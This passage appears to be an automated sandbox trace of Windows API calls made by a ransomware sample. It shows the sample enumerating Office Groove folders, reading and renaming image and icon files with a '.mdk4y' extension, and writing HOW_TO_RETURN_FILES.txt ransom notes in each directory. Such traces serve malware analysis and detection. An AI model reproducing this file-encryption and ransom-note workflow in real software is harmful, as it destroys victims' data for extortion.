0x4e4 [0222.156] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TABON.JPG", cchWideChar=9, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="TABON.JPGG", lpUsedDefaultChar=0x37dda8) returned 9 [0222.156] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABON.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\tabon.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0222.157] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829738700000) returned 1 [0222.157] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x9ef, lpOverlapped=0x0) returned 1 [0222.172] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829740200000) returned 1 [0222.172] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829740200000) returned 1 [0222.172] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABON.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\tabon.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABON.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\tabon.jpg.mdk4y")) returned 1 [0222.174] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0222.174] AreFileApisANSI () returned 1 [0222.174] GetACP () returned 0x4e4 [0222.174] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WHITEBOX.JPG", cchWideChar=12, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="WHITEBOX.JPGask.bmp", lpUsedDefaultChar=0x37dda8) returned 12 [0222.175] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WHITEBOX.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\whitebox.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0222.175] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829740500000) returned 1 [0222.175] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0xdff, lpOverlapped=0x0) returned 1 [0222.184] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829741400000) returned 1 [0222.184] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829741400000) returned 1 [0222.185] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WHITEBOX.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\whitebox.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WHITEBOX.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\whitebox.jpg.mdk4y")) returned 1 [0222.186] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0222.186] AreFileApisANSI () returned 1 [0222.186] GetACP () returned 0x4e4 [0222.186] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WhiteboxMask.bmp", cchWideChar=16, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="WhiteboxMask.bmpbmp", lpUsedDefaultChar=0x37dda8) returned 16 [0222.186] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\whiteboxmask.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0222.187] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829741700000) returned 1 [0222.187] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x4d72, lpOverlapped=0x0) returned 1 [0222.193] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829742300000) returned 1 [0222.193] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829742300000) returned 1 [0222.193] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\whiteboxmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\whiteboxmask.bmp.mdk4y")) returned 1 [0222.195] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0222.195] AreFileApisANSI () returned 1 [0222.195] GetACP () returned 0x4e4 [0222.195] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ZoomIcons.jpg", cchWideChar=13, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="ZoomIcons.jpgbmp", lpUsedDefaultChar=0x37dda8) returned 13 [0222.195] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIcons.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\zoomicons.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0222.196] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829742600000) returned 1 [0222.196] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0xc59, lpOverlapped=0x0) returned 1 [0222.213] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829744300000) returned 1 [0222.213] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829744300000) returned 1 [0222.213] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIcons.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\zoomicons.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIcons.jpg.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\zoomicons.jpg.mdk4y")) returned 1 [0222.215] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0222.215] AreFileApisANSI () returned 1 [0222.215] GetACP () returned 0x4e4 [0222.215] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ZoomIconsMask.bmp", cchWideChar=17, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="ZoomIconsMask.bmpmp", lpUsedDefaultChar=0x37dda8) returned 17 [0222.215] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\zoomiconsmask.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0222.216] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829744600000) returned 1 [0222.216] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x638, lpOverlapped=0x0) returned 1 [0222.233] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829746300000) returned 1 [0222.234] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829746400000) returned 1 [0222.234] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\zoomiconsmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\zoomiconsmask.bmp.mdk4y")) returned 1 [0222.235] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 0 [0222.235] FindClose (in: hFindFile=0x6ab3d0 | out: hFindFile=0x6ab3d0) returned 1 [0222.236] AreFileApisANSI () returned 1 [0222.236] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6c0000, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 115 [0222.236] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dae0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0222.237] GetFileType (hFile=0x130) returned 0x1 [0222.238] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0222.238] AreFileApisANSI () returned 1 [0222.238] GetACP () returned 0x4e4 [0222.238] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Welcome Tool", cchWideChar=12, lpMultiByteStr=0x6a207c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="Welcome TooltToolset", lpUsedDefaultChar=0x37de34) returned 12 [0222.238] AreFileApisANSI () returned 1 [0222.238] GetACP () returned 0x4e4 [0222.238] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6b9f70, cbMultiByte=83, lpWideCharStr=0x37dbc8, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\瞈㲣瞈鑖瞣_") returned 83 [0222.239] AreFileApisANSI () returned 1 [0222.239] GetACP () returned 0x4e4 [0222.239] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dda8) returned 1 [0222.239] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0222.239] AreFileApisANSI () returned 1 [0222.239] GetACP () returned 0x4e4 [0222.239] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dda8) returned 2 [0222.239] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0222.239] AreFileApisANSI () returned 1 [0222.239] GetACP () returned 0x4e4 [0222.239] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="IconImages.jpg", cchWideChar=14, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="IconImages.jpgVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dda8) returned 14 [0222.239] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\welcome tool\\iconimages.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0222.240] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829747000000) returned 1 [0222.240] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x10f3, lpOverlapped=0x0) returned 1 [0222.243] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829747300000) returned 1 [0222.243] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829747300000) returned 1 [0222.243] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\welcome tool\\iconimages.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImages.jpg.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\welcome tool\\iconimages.jpg.mdk4y")) returned 1 [0222.244] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0222.244] AreFileApisANSI () returned 1 [0222.244] GetACP () returned 0x4e4 [0222.244] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="IconImagesMask.bmp", cchWideChar=18, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="IconImagesMask.bmp47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dda8) returned 18 [0222.244] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\welcome tool\\iconimagesmask.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0222.245] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829747500000) returned 1 [0222.245] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0xa38, lpOverlapped=0x0) returned 1 [0222.246] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829747900000) returned 1 [0222.249] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829747900000) returned 1 [0222.249] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\welcome tool\\iconimagesmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\welcome tool\\iconimagesmask.bmp.mdk4y")) returned 1 [0222.251] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 0 [0222.251] FindClose (in: hFindFile=0x6ab3d0 | out: hFindFile=0x6ab3d0) returned 1 [0222.251] AreFileApisANSI () returned 1 [0222.251] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6c0000, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 107 [0222.251] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\welcome tool\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dae0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0222.255] GetFileType (hFile=0x130) returned 0x1 [0222.256] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 0 [0222.256] FindClose (in: hFindFile=0x6ab390 | out: hFindFile=0x6ab390) returned 1 [0222.257] AreFileApisANSI () returned 1 [0222.257] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x691c88, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 94 [0222.257] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37db6c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xe0 [0222.257] GetFileType (hFile=0xe0) returned 0x1 [0222.258] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 0 [0222.258] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0222.259] AreFileApisANSI () returned 1 [0222.259] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6b9f70, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 83 [0222.259] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xd8 [0222.259] GetFileType (hFile=0xd8) returned 0x1 [0222.260] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0222.260] AreFileApisANSI () returned 1 [0222.260] GetACP () returned 0x4e4 [0222.260] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ToolIcons", cchWideChar=9, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ToolIconstes", lpUsedDefaultChar=0x37df4c) returned 9 [0222.260] AreFileApisANSI () returned 1 [0222.260] GetACP () returned 0x4e4 [0222.260] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d258, cbMultiByte=60, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\齰kj̶") returned 60 [0222.264] AreFileApisANSI () returned 1 [0222.264] GetACP () returned 0x4e4 [0222.264] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dec0) returned 1 [0222.264] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0222.265] AreFileApisANSI () returned 1 [0222.265] GetACP () returned 0x4e4 [0222.265] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dec0) returned 2 [0222.265] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0222.265] AreFileApisANSI () returned 1 [0222.265] GetACP () returned 0x4e4 [0222.265] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ALERT.ICO", cchWideChar=9, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ALERT.ICOotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dec0) returned 9 [0222.265] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\alert.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0222.266] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829749600000) returned 1 [0222.266] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xa2e, lpOverlapped=0x0) returned 1 [0222.274] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829750400000) returned 1 [0222.274] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829750400000) returned 1 [0222.274] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\alert.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\alert.ico.mdk4y")) returned 1 [0222.276] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0222.276] AreFileApisANSI () returned 1 [0222.276] GetACP () returned 0x4e4 [0222.276] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CHEVRON.ICO", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: 